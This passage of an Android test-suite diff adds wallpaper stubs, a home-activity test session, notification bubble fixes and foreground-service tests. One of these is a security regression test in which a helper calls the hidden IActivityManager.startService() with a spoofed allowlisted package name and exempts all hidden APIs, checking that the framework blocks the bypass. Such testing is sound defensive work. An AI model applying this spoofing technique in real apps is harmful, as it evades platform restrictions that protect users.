         <option name="cleanup-apks" value="true" />
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
index 4c43e37..adfa03d 100644
--- a/tests/app/NotificationListener/Android.bp
+++ b/tests/app/NotificationListener/Android.bp
@@ -39,6 +39,5 @@
         "androidx.test.rules",
         "platform-test-annotations",
     ],
-    platform_apis: true,
     sdk_version: "test_current",
 }
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
index 4a9d084..4d53ac3 100644
--- a/tests/app/NotificationProvider/Android.bp
+++ b/tests/app/NotificationProvider/Android.bp
@@ -27,6 +27,5 @@
         "general-tests",
         "sts",
     ],
-    platform_apis: true,
     sdk_version: "current",
 }
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index e155ebb..c08d1dc 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -445,6 +445,20 @@
             </meta-data>
         </service>
 
+        <service android:name="android.app.stubs.LiveWallpaperNoUnfoldTransition"
+             android:icon="@drawable/robot"
+             android:label="@string/wallpaper_title"
+             android:permission="android.permission.BIND_WALLPAPER"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.wallpaper.WallpaperService">
+                </action>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/wallpaper_no_default_device_state_change_transition">
+            </meta-data>
+        </service>
+
         <service android:name="android.app.stubs.TestNotificationListener"
              android:exported="true"
              android:label="TestNotificationListener"
@@ -523,7 +537,22 @@
                  android:resource="@xml/shortcuts"/>
         </activity>
 
-        <service android:name="android.app.stubs.TrimMemService"
+        <!-- Disable home activities by default or it may disturb other tests by
+                showing ResolverActivity when start home activity.
+             Set the task affinity to empty not to group with the other Activities in this app. -->
+        <activity
+            android:name="android.app.stubs.TestHomeActivity"
+            android:enabled="false"
+            android:taskAffinity=""
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.HOME" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+    <service android:name="android.app.stubs.TrimMemService"
             android:exported="true"
             android:isolatedProcess="true">
         </service>
diff --git a/tests/app/app/res/xml/wallpaper.xml b/tests/app/app/res/xml/wallpaper.xml
index e86c9b9..3f53640 100644
--- a/tests/app/app/res/xml/wallpaper.xml
+++ b/tests/app/app/res/xml/wallpaper.xml
@@ -21,6 +21,7 @@
     android:description="@string/wallpaper_description"
     android:showMetadataInPreview="true"
     android:supportsMultipleDisplays="true"
+    android:shouldUseDefaultUnfoldTransition="true"
     android:contextDescription="@string/wallpaper_context"
     android:contextUri="@string/wallpaper_context_uri"
     android:settingsSliceUri="@string/wallpaper_slice_uri"
diff --git a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml b/tests/app/app/res/xml/wallpaper_no_default_device_state_change_transition.xml
similarity index 62%
copy from common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
copy to tests/app/app/res/xml/wallpaper_no_default_device_state_change_transition.xml
index dfc7779..130ba3e 100644
--- a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
+++ b/tests/app/app/res/xml/wallpaper_no_default_device_state_change_transition.xml
@@ -1,5 +1,4 @@
-<?xml version="1.0" encoding="utf-8"?>
-
+<?xml version="1.0" encoding="UTF-8"?>
 <!--
   ~ Copyright (C) 2021 The Android Open Source Project
   ~
@@ -13,12 +12,12 @@
   ~ distributed under the License is distributed on an "AS IS" BASIS,
   ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+  ~ limitations under the License
   -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.bedstead.remotedpc.communication">
-    <uses-sdk android:minSdkVersion="27" />
-    <application>
-    </application>
-</manifest>
+<wallpaper
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:thumbnail="@drawable/icon_red"
+    android:author="@string/wallpaper_collection"
+    android:description="@string/wallpaper_description"
+    android:shouldUseDefaultUnfoldTransition="false"
+/>
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 5e154f7..26ab62b 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -19,15 +19,19 @@
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.ForegroundServiceStartNotAllowedException;
+import android.app.IActivityManager;
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Parcel;
+import android.os.RemoteException;
+import android.text.TextUtils;
 import android.util.ArrayMap;
 import android.util.Log;
 
@@ -61,6 +65,7 @@
     public static final int COMMAND_START_FOREGROUND_SERVICE_STICKY = 20;
     public static final int COMMAND_STOP_FOREGROUND_SERVICE_STICKY = 21;
     public static final int COMMAND_EMPTY = 22;
+    public static final int COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME = 23;
 
     public static final int RESULT_CHILD_PROCESS_STARTED = IBinder.FIRST_CALL_TRANSACTION;
     public static final int RESULT_CHILD_PROCESS_STOPPED = IBinder.FIRST_CALL_TRANSACTION + 1;
@@ -170,6 +175,9 @@
                 break;
             case COMMAND_EMPTY:
                 break;
+            case COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME:
+                doStartForegroundServiceSpoofPackageName(context, intent);
+                break;
         }
     }
 
@@ -371,6 +379,56 @@
         }).start();
     }
 
+    /**
+     * Directly call IActivityManager.startService() using a spoofed packageName which is known to
+     * be allowlisted by Android framework to be able to start foreground service
+     * from the background. Framework will disallow the foreground service to start from the
+     * background and a ForegroundServiceStartNotAllowedException will be caught.
+     * @param context
+     * @param commandIntent
+     */
+    private void doStartForegroundServiceSpoofPackageName(Context context, Intent commandIntent) {
+        String targetPackage = getTargetPackage(commandIntent);
+        Intent fgsIntent = new Intent();
+        fgsIntent.putExtras(commandIntent);
+        fgsIntent.setComponent(new ComponentName(targetPackage, FG_SERVICE_NAME));
+        int command = LocalForegroundService.COMMAND_START_FOREGROUND;
+        fgsIntent.putExtras(LocalForegroundService.newCommand(command));
+        try {
+            final PackageManager pm = context.getPackageManager();
+            String spoofPackageName = pm.getAttentionServicePackageName();
+            if (TextUtils.isEmpty(spoofPackageName)) {
+                Log.d(TAG, "getAttentionServicePackageName() returns empty");
+                spoofPackageName = pm.getSystemCaptionsServicePackageName();
+            }
+            if (TextUtils.isEmpty(spoofPackageName)) {
+                Log.d(TAG, "getSystemCaptionsServicePackageName() returns empty");
+                spoofPackageName = "android";
+            }
+            Log.d(TAG, "spoofPackageName: " + spoofPackageName);
+            final IBinder activityProxy = android.os.ServiceManager.getService("activity");
+            // Call IActivityManager.startService() directly using a spoofed packageName.
+            IActivityManager.Stub.asInterface(activityProxy).startService(
+                    context.getIApplicationThread(),
+                    fgsIntent,
+                    null,
+                    true,
+                    spoofPackageName,
+                    null,
+                    android.os.Process.myUserHandle().getIdentifier()
+            );
+        } catch (ForegroundServiceStartNotAllowedException e) {
+            Log.d(TAG, "startForegroundService gets an "
+                    + " ForegroundServiceStartNotAllowedException", e);
+        } catch (LinkageError e) {
+            // IActivityManager.startService() is a hidden API, access hidden API could get
+            // LinkageError, consider the test as pass if we get LinkageError.
+            Log.d(TAG, "startForegroundService gets an LinkageError", e);
+        } catch (RemoteException e) {
+            Log.d(TAG, "startForegroundService gets an RemoteException", e);
+        }
+    }
+
     private String getTargetPackage(Intent intent) {
         return intent.getStringExtra(EXTRA_TARGET_PACKAGE);
     }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/tests/app/app/src/android/app/stubs/LiveWallpaperNoUnfoldTransition.java
similarity index 72%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to tests/app/app/src/android/app/stubs/LiveWallpaperNoUnfoldTransition.java
index 669bb13..904a918 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/tests/app/app/src/android/app/stubs/LiveWallpaperNoUnfoldTransition.java
@@ -14,11 +14,14 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package android.app.stubs;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
+import android.service.wallpaper.WallpaperService;
 
+public class LiveWallpaperNoUnfoldTransition extends WallpaperService {
+
+    @Override
+    public Engine onCreateEngine() {
+        return new Engine();
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java b/tests/app/app/src/android/app/stubs/TestHomeActivity.java
similarity index 79%
rename from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
rename to tests/app/app/src/android/app/stubs/TestHomeActivity.java
index 936827b..340494a 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/tests/app/app/src/android/app/stubs/TestHomeActivity.java
@@ -14,10 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package android.app.stubs;
 
-/** Details about a queryable test app. */
-class TestAppDetails {
-    String mPackageName;
-    int mResourceIdentifier;
+import android.app.Activity;
+
+public class TestHomeActivity extends Activity {
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index d3e91c1..f9a330e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -60,6 +60,10 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
+import android.server.wm.settings.SettingsSession;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -1806,6 +1810,117 @@
     }
 
     /**
+     * When PowerExemptionManager.addToTemporaryAllowList() is called more than one time, the second
+     * call can extend the duration of the first call if the first call has not expired yet.
+     * @throws Exception
+     */
+    @Test
+    public void testOverlappedTempAllowList() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            runWithShellPermissionIdentity(() -> {
+                mContext.getSystemService(PowerExemptionManager.class).addToTemporaryAllowList(
+                        PACKAGE_NAME_APP1, PowerExemptionManager.REASON_PUSH_MESSAGING,
+                        "", 10000);
+            });
+
+            SystemClock.sleep(5000);
+            runWithShellPermissionIdentity(() -> {
+                mContext.getSystemService(PowerExemptionManager.class).addToTemporaryAllowList(
+                        PACKAGE_NAME_APP1, PowerExemptionManager.REASON_PUSH_MESSAGING,
+                        "", 10000);
+            });
+            SystemClock.sleep(5000);
+
+            // The first addToTemporaryAllowList()'s 10000ms duration has expired.
+            // Now FGS start is allowed by second addToTemporaryAllowList()'s 10000ms duration.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            // allow temp allowlist to expire.
+            SystemClock.sleep(5000);
+        }
+    }
+
+    /**
+     * IActivityManager.startService() is called directly (does not go through
+     * {@link Context#startForegroundService(Intent)}, a spoofed packageName "com.google.android.as"
+     * is used as callingPackage. Although "com.google.android.as" is allowlisted to start
+     * foreground service from the background, but framework will detect this is a spoofed
+     * packageName and disallow foreground service start from the background.
+     * @throws Exception
+     */
+    @Test
+    public void testSpoofPackageName() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        // CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME needs access
+        // to hidden API PackageManager.getAttentionServicePackageName() and
+        // PackageManager.getSystemCaptionsServicePackageName(), so we need to call
+        // hddenApiSettings.set("*") to exempt the hidden APIs.
+        SettingsSession<String> hiddenApiSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(
+                        Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS),
+                Settings.Global::getString, Settings.Global::putString);
+        hiddenApiSettings.set("*");
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+        } finally {
+            uid1Watcher.finish();
+            if (hiddenApiSettings != null) {
+                hiddenApiSettings.close();
+            }
+        }
+    }
+
+    /**
      * Turn on the FGS BG-launch restriction. DeviceConfig can turn on restriction on the whole
      * device (across all apps). AppCompat can turn on restriction on a single app package.
      * @param enable true to turn on restriction, false to turn off.
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 9d09722..0675b4e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -21,6 +21,13 @@
 import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_LOW;
 import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_MODERATE;
 import static android.content.ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN;
+import static android.content.Intent.ACTION_MAIN;
+import static android.content.Intent.CATEGORY_HOME;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
+import static android.content.pm.PackageManager.DONT_KILL_APP;
+import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
 
 import static org.junit.Assert.assertArrayEquals;
 
@@ -36,6 +43,7 @@
 import android.app.Instrumentation.ActivityMonitor;
 import android.app.Instrumentation.ActivityResult;
 import android.app.PendingIntent;
+import android.app.TaskInfo;
 import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.app.stubs.ActivityManagerRecentOneActivity;
 import android.app.stubs.ActivityManagerRecentTwoActivity;
@@ -45,6 +53,7 @@
 import android.app.stubs.MockService;
 import android.app.stubs.RemoteActivity;
 import android.app.stubs.ScreenOnActivity;
+import android.app.stubs.TestHomeActivity;
 import android.app.stubs.TrimMemService;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -55,6 +64,7 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.ConfigurationInfo;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.content.res.Resources;
 import android.os.Binder;
 import android.os.Bundle;
@@ -146,6 +156,7 @@
     private List<Activity> mStartedActivityList;
     private int mErrorProcessID;
     private Instrumentation mInstrumentation;
+    private HomeActivitySession mTestHomeSession;
 
     @Override
     protected void setUp() throws Exception {
@@ -164,6 +175,9 @@
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
+        if (mTestHomeSession != null) {
+            mTestHomeSession.close();
+        }
         if (mIntent != null) {
             mInstrumentation.getContext().stopService(mIntent);
         }
@@ -200,19 +214,10 @@
          * than the index of recent1_activity
          */
         recentTaskList = mActivityManager.getRecentTasks(maxNum, flags);
-        int indexRecentOne = -1;
-        int indexRecentTwo = -1;
-        int i = 0;
-        for (RecentTaskInfo rti : recentTaskList) {
-            if (rti.baseIntent.getComponent().getClassName().equals(
-                    ActivityManagerRecentOneActivity.class.getName())) {
-                indexRecentOne = i;
-            } else if (rti.baseIntent.getComponent().getClassName().equals(
-                    ActivityManagerRecentTwoActivity.class.getName())) {
-                indexRecentTwo = i;
-            }
-            i++;
-        }
+        int indexRecentOne = getTaskInfoIndex(recentTaskList,
+                ActivityManagerRecentOneActivity.class);
+        int indexRecentTwo = getTaskInfoIndex(recentTaskList,
+                ActivityManagerRecentTwoActivity.class);
         assertTrue(indexRecentOne != -1 && indexRecentTwo != -1);
         assertTrue(indexRecentTwo < indexRecentOne);
 
@@ -310,6 +315,18 @@
         mStartedActivityList.add(monitor.waitForActivity());
     }
 
+    private <T extends TaskInfo, S extends Activity> int getTaskInfoIndex(List<T> taskList,
+            Class<S> activityClass) {
+        int i = 0;
+        for (TaskInfo ti : taskList) {
+            if (ti.baseActivity.getClassName().equals(activityClass.getName())) {
+                return i;
+            }
+            i++;
+        }
+        return -1;
+    }
+
     public void testGetRunningTasks() {
         // Test illegal parameter
         List<RunningTaskInfo> runningTaskList;
@@ -325,30 +342,36 @@
 
         // start recent1_activity.
         startSubActivity(ActivityManagerRecentOneActivity.class);
-        // start recent2_activity
+
+        runningTaskList = mActivityManager.getRunningTasks(20);
+
+        // assert only recent1_activity exists and is visible.
+        int indexRecentOne = getTaskInfoIndex(runningTaskList,
+                ActivityManagerRecentOneActivity.class);
+        int indexRecentTwo = getTaskInfoIndex(runningTaskList,
+                ActivityManagerRecentTwoActivity.class);
+        assertTrue(indexRecentOne != -1 && indexRecentTwo == -1);
+        assertTrue(runningTaskList.get(indexRecentOne).isVisible());
+
+        // start recent2_activity.
         startSubActivity(ActivityManagerRecentTwoActivity.class);
 
         /*
          * assert both recent1_activity and recent2_activity exist in the
          * running tasks list. Moreover,the index of the recent2_activity is
-         * smaller than the index of recent1_activity
+         * smaller than the index of recent1_activity.
          */
         runningTaskList = mActivityManager.getRunningTasks(20);
-        int indexRecentOne = -1;
-        int indexRecentTwo = -1;
-        int i = 0;
-        for (RunningTaskInfo rti : runningTaskList) {
-            if (rti.baseActivity.getClassName().equals(
-                    ActivityManagerRecentOneActivity.class.getName())) {
-                indexRecentOne = i;
-            } else if (rti.baseActivity.getClassName().equals(
-                    ActivityManagerRecentTwoActivity.class.getName())) {
-                indexRecentTwo = i;
-            }
-            i++;
-        }
+        indexRecentOne = getTaskInfoIndex(runningTaskList,
+                ActivityManagerRecentOneActivity.class);
+        indexRecentTwo = getTaskInfoIndex(runningTaskList,
+                ActivityManagerRecentTwoActivity.class);
         assertTrue(indexRecentOne != -1 && indexRecentTwo != -1);
         assertTrue(indexRecentTwo < indexRecentOne);
+
+        // assert only recent2_activity is visible.
+        assertFalse(runningTaskList.get(indexRecentOne).isVisible());
+        assertTrue(runningTaskList.get(indexRecentTwo).isVisible());
     }
 
     public void testGetRunningServices() throws Exception {
@@ -587,6 +610,7 @@
      * Verify that the TimeTrackingAPI works properly when starting and ending an activity.
      */
     public void testTimeTrackingAPI_SimpleStartExit() throws Exception {
+        createManagedHomeActivitySession();
         launchHome();
         // Prepare to start an activity from another APK.
         Intent intent = new Intent(Intent.ACTION_MAIN);
@@ -673,6 +697,7 @@
      * Verify that the TimeTrackingAPI works properly when switching away from the monitored task.
      */
     public void testTimeTrackingAPI_SwitchAwayTriggers() throws Exception {
+        createManagedHomeActivitySession();
         launchHome();
 
         // Prepare to start an activity from another APK.
@@ -721,6 +746,7 @@
      * and ended.
      */
     public void testTimeTrackingAPI_ChainedActivityExit() throws Exception {
+        createManagedHomeActivitySession();
         launchHome();
         // Prepare to start an activity from another APK.
         Intent intent = new Intent(Intent.ACTION_MAIN);
@@ -1761,6 +1787,65 @@
         return result;
     }
 
+    private void createManagedHomeActivitySession()
+            throws Exception {
+        if (noHomeScreen()) return;
+        ComponentName homeActivity = new ComponentName(
+                STUB_PACKAGE_NAME, TestHomeActivity.class.getName());
+        mTestHomeSession = new HomeActivitySession(homeActivity);
+    }
+
+    /**
+     * HomeActivitySession is used to replace the default home component, so that you can use
+     * your preferred home for testing within the session. The original default home will be
+     * restored automatically afterward.
+     */
+    private class HomeActivitySession {
+        private PackageManager mPackageManager;
+        private ComponentName mOrigHome;
+        private ComponentName mSessionHome;
+
+        HomeActivitySession(ComponentName sessionHome) throws Exception {
+            mSessionHome = sessionHome;
+            mPackageManager = mInstrumentation.getContext().getPackageManager();
+            mOrigHome = getDefaultHomeComponent();
+
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
+                            COMPONENT_ENABLED_STATE_ENABLED, DONT_KILL_APP));
+            setDefaultHome(mSessionHome);
+        }
+
+        public void close() throws Exception {
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
+                            COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP));
+            if (mOrigHome != null) {
+                setDefaultHome(mOrigHome);
+                mOrigHome = null;
+            }
+        }
+
+        private void setDefaultHome(ComponentName componentName) throws Exception {
+            executeShellCommand("cmd package set-home-activity --user "
+                    + android.os.Process.myUserHandle().getIdentifier() + " "
+                    + componentName.flattenToString());
+        }
+
+        private ComponentName getDefaultHomeComponent() {
+            final Intent intent = new Intent(ACTION_MAIN);
+            intent.addCategory(CATEGORY_HOME);
+            intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+            final ResolveInfo resolveInfo = mInstrumentation.getContext()
+                    .getPackageManager().resolveActivity(intent, MATCH_DEFAULT_ONLY);
+            if (resolveInfo == null) {
+                throw new AssertionError("Home activity not found");
+            }
+            return new ComponentName(resolveInfo.activityInfo.packageName,
+                    resolveInfo.activityInfo.name);
+        }
+    }
+
     public void testKillBackgroundProcess() throws Exception {
         final String otherPackage = "com.android.app1";
         final ApplicationInfo ai1 = mTargetContext.getPackageManager()
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index be1c791..544d1e0 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -3817,6 +3817,7 @@
                     true /* suppressBubble */);
 
             verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Prep to find bubbled activity
             Class clazz = BubbledActivity.class;
@@ -3837,6 +3838,7 @@
 
             // notif gets posted with update, so wait
             verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Bubble should have suppressed flag
             StatusBarNotification sbn = findPostedNotification(notifId, true);
@@ -3872,6 +3874,7 @@
                     false /* suppressBubble */);
 
             verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Prep to find bubbled activity
             Class clazz = BubbledActivity.class;
@@ -3890,8 +3893,12 @@
             assertEquals(new LocusId(String.valueOf(BUBBLE_NOTIF_ID)),
                     activity.getLocusId());
 
-            // notif gets posted with update, so wait
-            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            // Wait a little (if it wrongly updates it'd be a new post so wait for that))
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException ex) {
+            }
+            assertTrue(mListener.mPosted.isEmpty());
 
             // Bubble should not be suppressed
             StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
@@ -3927,6 +3934,7 @@
                     true /* suppressBubble */);
 
             verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Prep to find bubbled activity
             Class clazz = BubbledActivity.class;
@@ -3944,8 +3952,12 @@
             // It shouldn't have the locusId
             assertNull(activity.getLocusId());
 
-            // notif gets posted with update, so wait
-            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            // Wait a little (if it wrongly updates it'd be a new post so wait for that))
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException ex) {
+            }
+            assertTrue(mListener.mPosted.isEmpty());
 
             // Bubble should not be suppressed
             StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
@@ -3983,6 +3995,7 @@
                     false /* setLocusId */);
 
             verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Prep to find bubbled activity
             Class clazz = BubbledActivity.class;
@@ -4000,8 +4013,12 @@
             // Activity has the locus
             assertNotNull(activity.getLocusId());
 
-            // notif gets posted with update, so wait
-            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            // Wait a little (if it wrongly updates it'd be a new post so wait for that))
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException ex) {
+            }
+            assertTrue(mListener.mPosted.isEmpty());
 
             // Bubble should not be suppressed & not have a locusId
             StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
@@ -4040,6 +4057,7 @@
                     true /* suppressBubble */);
 
             verifyNotificationBubbleState(notifId, true);
+            mListener.resetData();
 
             StatusBarNotification sbn = findPostedNotification(notifId, true);
             assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
@@ -4064,6 +4082,7 @@
 
             // notif gets posted with update, so wait
             verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Bubble should have suppressed flag
             sbn = findPostedNotification(notifId, true);
@@ -4074,6 +4093,7 @@
 
             // notif gets posted with update, so wait
             verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+            mListener.resetData();
 
             sbn = findPostedNotification(notifId, true);
             assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 6dd4063..bf53bd9 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -28,7 +28,6 @@
 import android.content.res.Configuration;
 import android.os.ParcelFileDescriptor;
 import android.os.UserHandle;
-import android.platform.test.annotations.SystemUserOnly;
 import android.test.AndroidTestCase;
 import android.util.ArraySet;
 import android.util.Log;
@@ -50,8 +49,6 @@
 import java.util.concurrent.atomic.AtomicInteger;
 
 
-@SystemUserOnly(reason = "UiAutomation doesn't support untrusted UID's. "
-        + "see UiAutomationConnection#throwIfCalledByNotTrustedUidLocked")
 public class UiModeManagerTest extends AndroidTestCase {
     private static final String TAG = "UiModeManagerTest";
     private static final long MAX_WAIT_TIME_SECS = 2;
@@ -388,13 +385,15 @@
     private boolean requestAutomotiveProjection() throws Exception {
         return callWithShellPermissionIdentity(
                 () -> mUiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
-                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
+                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION,
+                Manifest.permission.INTERACT_ACROSS_USERS);
     }
 
     private boolean releaseAutomotiveProjection() throws Exception {
         return callWithShellPermissionIdentity(
                 () -> mUiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
-                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
+                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION,
+                Manifest.permission.INTERACT_ACROSS_USERS);
     }
 
     private int getActiveProjectionTypes() throws Exception {
diff --git a/tests/app/src/android/app/cts/WallpaperInfoTest.java b/tests/app/src/android/app/cts/WallpaperInfoTest.java
index bc5d394..7c5b3b4 100644
--- a/tests/app/src/android/app/cts/WallpaperInfoTest.java
+++ b/tests/app/src/android/app/cts/WallpaperInfoTest.java
@@ -17,9 +17,13 @@
